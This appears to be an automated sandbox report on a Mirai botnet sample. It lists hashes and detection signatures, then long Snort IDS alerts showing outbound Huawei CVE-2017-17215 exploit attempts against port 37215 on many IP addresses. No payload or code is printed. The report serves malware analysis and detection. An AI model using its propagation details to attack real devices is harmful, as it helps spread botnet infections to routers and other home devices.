Create Interactive Tour

Linux Analysis Report
ehzGeYz3RM.elf

Overview

General Information

Sample Name:ehzGeYz3RM.elf
Original Sample Name:98516400e20d10be5d0f6e2462e33df3.elf
Analysis ID:1346750
MD5:98516400e20d10be5d0f6e2462e33df3
SHA1:c43d4606b5fc04e560814b6b4c2ec4ac45625641
SHA256:c632fdad10d050e7c07d6b880fde2a546ab4d6fe7f32047ee0ed4727d52e8fad
Tags:32armelfmirai
Infos:

Detection

Mirai
Score:72
Range:0 - 100
Whitelisted:false

Signatures

Yara detected Mirai
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Sample is packed with UPX
Uses known network protocols on non-standard ports
Sample contains only a LOAD segment without any section mappings
HTTP GET or POST without a user agent
Uses the "uname" system call to query kernel version information (possible evasion)
Enumerates processes within the "proc" file system
Detected TCP or UDP traffic on non-standard ports
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
ELF contains segments with high entropy indicating compressed/encrypted content

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.
Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.
Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.
Joe Sandbox Version:38.0.0 Ammolite
Analysis ID:1346750
Start date and time:2023-11-23 05:19:05 +01:00
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 6m 52s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample file name:ehzGeYz3RM.elf
renamed because original name is a hash value
Original Sample Name:98516400e20d10be5d0f6e2462e33df3.elf
Detection:MAL
Classification:mal72.troj.evad.linELF@0/0@2/0
  • Report size exceeded maximum capacity and may have missing network information.
Command:/tmp/ehzGeYz3RM.elf
PID:5511
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
Connected To CNC
Standard Error:
  • system is lnxubuntu20
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_Mirai_12Yara detected MiraiJoe Security
    Timestamp:192.168.2.15156.241.100.22743826372152829579 11/23/23-05:19:59.853668
    SID:2829579
    Source Port:43826
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.95.11236062372152835222 11/23/23-05:23:13.659962
    SID:2835222
    Source Port:36062
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.110.17243648372152835222 11/23/23-05:20:29.087171
    SID:2835222
    Source Port:43648
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.253.46.14950660372152829579 11/23/23-05:21:05.641301
    SID:2829579
    Source Port:50660
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.92.22658756372152829579 11/23/23-05:23:00.171429
    SID:2829579
    Source Port:58756
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.78.16442706372152829579 11/23/23-05:23:11.604553
    SID:2829579
    Source Port:42706
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.230.17.4750272372152829579 11/23/23-05:20:54.526320
    SID:2829579
    Source Port:50272
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.95.11236062372152829579 11/23/23-05:23:13.659962
    SID:2829579
    Source Port:36062
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.253.44.9440552372152835222 11/23/23-05:20:11.767769
    SID:2835222
    Source Port:40552
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.1541.232.236.17556422372152829579 11/23/23-05:21:54.145438
    SID:2829579
    Source Port:56422
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.100.22743826372152835222 11/23/23-05:19:59.853668
    SID:2835222
    Source Port:43826
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.230.24.9744146372152829579 11/23/23-05:22:23.027440
    SID:2829579
    Source Port:44146
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.92.22658756372152835222 11/23/23-05:23:00.171429
    SID:2835222
    Source Port:58756
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.78.16442706372152835222 11/23/23-05:23:11.604553
    SID:2835222
    Source Port:42706
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.109.10549448372152835222 11/23/23-05:20:37.055161
    SID:2835222
    Source Port:49448
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.94.15435064372152829579 11/23/23-05:23:04.827024
    SID:2829579
    Source Port:35064
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.230.24.9744146372152835222 11/23/23-05:22:23.027440
    SID:2835222
    Source Port:44146
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.235.107.13246484372152835222 11/23/23-05:22:51.051714
    SID:2835222
    Source Port:46484
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.121.9557644372152829579 11/23/23-05:22:53.632486
    SID:2829579
    Source Port:57644
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15197.246.207.17140936372152829579 11/23/23-05:21:24.013492
    SID:2829579
    Source Port:40936
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.118.5350400372152835222 11/23/23-05:22:49.300359
    SID:2835222
    Source Port:50400
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.230.17.4750272372152835222 11/23/23-05:20:54.526320
    SID:2835222
    Source Port:50272
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.109.10549448372152829579 11/23/23-05:20:37.055161
    SID:2829579
    Source Port:49448
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.253.44.11258754372152835222 11/23/23-05:20:29.723278
    SID:2835222
    Source Port:58754
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.94.15435064372152835222 11/23/23-05:23:04.827024
    SID:2835222
    Source Port:35064
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.110.17243648372152829579 11/23/23-05:20:29.087171
    SID:2829579
    Source Port:43648
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.230.17.17844962372152835222 11/23/23-05:22:41.210466
    SID:2835222
    Source Port:44962
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.235.102.12441126372152829579 11/23/23-05:20:25.762673
    SID:2829579
    Source Port:41126
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.235.104.25449896372152835222 11/23/23-05:23:11.247167
    SID:2835222
    Source Port:49896
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.9.4057200372152835222 11/23/23-05:22:18.386151
    SID:2835222
    Source Port:57200
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.224.12.6951610372152835222 11/23/23-05:22:18.068838
    SID:2835222
    Source Port:51610
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.87.14355450372152829579 11/23/23-05:23:13.905508
    SID:2829579
    Source Port:55450
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.1541.232.236.17556422372152835222 11/23/23-05:21:54.145438
    SID:2835222
    Source Port:56422
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.102.14140652372152829579 11/23/23-05:21:46.553452
    SID:2829579
    Source Port:40652
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.108.17833012372152829579 11/23/23-05:20:57.914964
    SID:2829579
    Source Port:33012
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.102.14140652372152835222 11/23/23-05:21:46.553452
    SID:2835222
    Source Port:40652
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.224.15.7046588372152835222 11/23/23-05:22:54.551086
    SID:2835222
    Source Port:46588
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.235.109.22433430372152829579 11/23/23-05:21:57.789072
    SID:2829579
    Source Port:33430
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.95.4556026372152829579 11/23/23-05:22:23.028860
    SID:2829579
    Source Port:56026
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.71.21740054372152835222 11/23/23-05:21:05.722411
    SID:2835222
    Source Port:40054
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.253.38.15541754372152835222 11/23/23-05:20:03.581041
    SID:2835222
    Source Port:41754
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.102.15159944372152835222 11/23/23-05:23:01.876423
    SID:2835222
    Source Port:59944
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.1541.21.176.19549428372152835222 11/23/23-05:22:56.696003
    SID:2835222
    Source Port:49428
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.112.3850528372152835222 11/23/23-05:23:13.016078
    SID:2835222
    Source Port:50528
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.230.17.17844962372152829579 11/23/23-05:22:41.210466
    SID:2829579
    Source Port:44962
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.124.6150362372152829579 11/23/23-05:21:23.349246
    SID:2829579
    Source Port:50362
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.1541.44.221.20041712372152835222 11/23/23-05:22:03.929463
    SID:2835222
    Source Port:41712
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.224.12.2040420372152829579 11/23/23-05:19:58.469482
    SID:2829579
    Source Port:40420
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.247.25.21233086372152829579 11/23/23-05:22:41.110159
    SID:2829579
    Source Port:33086
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.108.17833012372152835222 11/23/23-05:20:57.914964
    SID:2835222
    Source Port:33012
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.253.46.14950660372152835222 11/23/23-05:21:05.641301
    SID:2835222
    Source Port:50660
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.247.21.22846494372152835222 11/23/23-05:22:48.021668
    SID:2835222
    Source Port:46494
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.91.23245936372152835222 11/23/23-05:22:54.553591
    SID:2835222
    Source Port:45936
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.224.15.7046588372152829579 11/23/23-05:22:54.551086
    SID:2829579
    Source Port:46588
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.224.12.2040420372152835222 11/23/23-05:19:58.469482
    SID:2835222
    Source Port:40420
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.247.25.21233086372152835222 11/23/23-05:22:41.110159
    SID:2835222
    Source Port:33086
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.47.1.21157126372152829579 11/23/23-05:22:51.226830
    SID:2829579
    Source Port:57126
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15197.246.207.17140936372152835222 11/23/23-05:21:24.013492
    SID:2835222
    Source Port:40936
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.100.11041376372152829579 11/23/23-05:22:33.460575
    SID:2829579
    Source Port:41376
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.91.23245936372152829579 11/23/23-05:22:54.553591
    SID:2829579
    Source Port:45936
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.86.12046586372152829579 11/23/23-05:23:02.200252
    SID:2829579
    Source Port:46586
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.76.24642778372152829579 11/23/23-05:21:50.886324
    SID:2829579
    Source Port:42778
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.1541.35.51.24733564372152829579 11/23/23-05:22:02.407882
    SID:2829579
    Source Port:33564
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.253.42.17356352372152829579 11/23/23-05:20:54.206006
    SID:2829579
    Source Port:56352
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.124.9242328372152835222 11/23/23-05:23:07.604897
    SID:2835222
    Source Port:42328
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.104.19734202372152835222 11/23/23-05:21:26.671108
    SID:2835222
    Source Port:34202
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.86.12046586372152835222 11/23/23-05:23:02.200252
    SID:2835222
    Source Port:46586
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.100.11041376372152835222 11/23/23-05:22:33.460575
    SID:2835222
    Source Port:41376
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.253.42.17356352372152835222 11/23/23-05:20:54.206006
    SID:2835222
    Source Port:56352
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.76.24642778372152835222 11/23/23-05:21:50.886324
    SID:2835222
    Source Port:42778
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.13.21938688372152835222 11/23/23-05:22:18.701144
    SID:2835222
    Source Port:38688
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.47.1.21157126372152835222 11/23/23-05:22:51.226830
    SID:2835222
    Source Port:57126
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.95.12933652372152829579 11/23/23-05:20:18.182250
    SID:2829579
    Source Port:33652
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.86.24741638372152829579 11/23/23-05:21:39.816438
    SID:2829579
    Source Port:41638
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.226.11.20141222372152835222 11/23/23-05:20:10.102955
    SID:2835222
    Source Port:41222
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.124.6150362372152835222 11/23/23-05:21:23.349246
    SID:2835222
    Source Port:50362
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.93.225.4054842372152835222 11/23/23-05:20:03.677048
    SID:2835222
    Source Port:54842
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.13.21938688372152829579 11/23/23-05:22:18.701144
    SID:2829579
    Source Port:38688
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.247.31.7639578372152829579 11/23/23-05:21:26.985352
    SID:2829579
    Source Port:39578
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.247.21.22846494372152829579 11/23/23-05:22:48.021668
    SID:2829579
    Source Port:46494
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.1541.35.51.24733564372152835222 11/23/23-05:22:02.407882
    SID:2835222
    Source Port:33564
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.69.9534778372152829579 11/23/23-05:22:15.551794
    SID:2829579
    Source Port:34778
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.253.38.15541754372152829579 11/23/23-05:20:03.581041
    SID:2829579
    Source Port:41754
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.112.3850528372152829579 11/23/23-05:23:13.016078
    SID:2829579
    Source Port:50528
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.235.104.25449896372152829579 11/23/23-05:23:11.247167
    SID:2829579
    Source Port:49896
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.230.27.7335590372152829579 11/23/23-05:22:53.745881
    SID:2829579
    Source Port:35590
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.77.135.22557756372152835222 11/23/23-05:22:16.652595
    SID:2835222
    Source Port:57756
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.102.15159944372152829579 11/23/23-05:23:01.876423
    SID:2829579
    Source Port:59944
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.77.130.7837002372152835222 11/23/23-05:20:42.171481
    SID:2835222
    Source Port:37002
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.93.225.4054842372152829579 11/23/23-05:20:03.677048
    SID:2829579
    Source Port:54842
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.1541.21.176.19549428372152829579 11/23/23-05:22:56.696003
    SID:2829579
    Source Port:49428
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.127.16534424372152835222 11/23/23-05:21:08.497838
    SID:2835222
    Source Port:34424
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.86.24741638372152835222 11/23/23-05:21:39.816438
    SID:2835222
    Source Port:41638
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.1541.44.221.20041712372152829579 11/23/23-05:22:03.929463
    SID:2829579
    Source Port:41712
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.77.135.22557756372152829579 11/23/23-05:22:16.652595
    SID:2829579
    Source Port:57756
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.95.4556026372152835222 11/23/23-05:22:23.028860
    SID:2835222
    Source Port:56026
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.95.12933652372152835222 11/23/23-05:20:18.182250
    SID:2835222
    Source Port:33652
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.226.11.20141222372152829579 11/23/23-05:20:10.102955
    SID:2829579
    Source Port:41222
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.71.21740054372152829579 11/23/23-05:21:05.722411
    SID:2829579
    Source Port:40054
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.127.16534424372152829579 11/23/23-05:21:08.497838
    SID:2829579
    Source Port:34424
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.91.13452988372152829579 11/23/23-05:20:43.467961
    SID:2829579
    Source Port:52988
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.235.109.22433430372152835222 11/23/23-05:21:57.789072
    SID:2835222
    Source Port:33430
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.224.12.6951610372152829579 11/23/23-05:22:18.068838
    SID:2829579
    Source Port:51610
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.230.27.7335590372152835222 11/23/23-05:22:53.745881
    SID:2835222
    Source Port:35590
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.253.44.11258754372152829579 11/23/23-05:20:29.723278
    SID:2829579
    Source Port:58754
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.9.4057200372152829579 11/23/23-05:22:18.386151
    SID:2829579
    Source Port:57200
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.247.31.7639578372152835222 11/23/23-05:21:26.985352
    SID:2835222
    Source Port:39578
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.235.102.12441126372152835222 11/23/23-05:20:25.762673
    SID:2835222
    Source Port:41126
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.91.13452988372152835222 11/23/23-05:20:43.467961
    SID:2835222
    Source Port:52988
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.69.9534778372152835222 11/23/23-05:22:15.551794
    SID:2835222
    Source Port:34778
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.254.87.14355450372152835222 11/23/23-05:23:13.905508
    SID:2835222
    Source Port:55450
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.124.9242328372152829579 11/23/23-05:23:07.604897
    SID:2829579
    Source Port:42328
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.235.107.13246484372152829579 11/23/23-05:22:51.051714
    SID:2829579
    Source Port:46484
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.77.130.7837002372152829579 11/23/23-05:20:42.171481
    SID:2829579
    Source Port:37002
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.118.5350400372152829579 11/23/23-05:22:49.300359
    SID:2829579
    Source Port:50400
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.253.44.9440552372152829579 11/23/23-05:20:11.767769
    SID:2829579
    Source Port:40552
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.121.9557644372152835222 11/23/23-05:22:53.632486
    SID:2835222
    Source Port:57644
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.15156.241.104.19734202372152829579 11/23/23-05:21:26.671108
    SID:2829579
    Source Port:34202
    Destination Port:37215
    Protocol:TCP
    Classtype:A Network Trojan was detected

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: ehzGeYz3RM.elfReversingLabs: Detection: 54%
    Source: ehzGeYz3RM.elfVirustotal: Detection: 41%Perma Link

    Networking

    barindex
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:40420 -> 156.224.12.20:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:40420 -> 156.224.12.20:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:43826 -> 156.241.100.227:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:43826 -> 156.241.100.227:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41754 -> 156.253.38.155:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41754 -> 156.253.38.155:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:54842 -> 156.93.225.40:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:54842 -> 156.93.225.40:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41222 -> 156.226.11.201:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41222 -> 156.226.11.201:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:40552 -> 156.253.44.94:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:40552 -> 156.253.44.94:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:33652 -> 156.241.95.129:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:33652 -> 156.241.95.129:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41126 -> 156.235.102.124:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41126 -> 156.235.102.124:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:43648 -> 156.254.110.172:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:43648 -> 156.254.110.172:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:58754 -> 156.253.44.112:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:58754 -> 156.253.44.112:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:49448 -> 156.254.109.105:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:49448 -> 156.254.109.105:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:37002 -> 156.77.130.78:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:37002 -> 156.77.130.78:37215
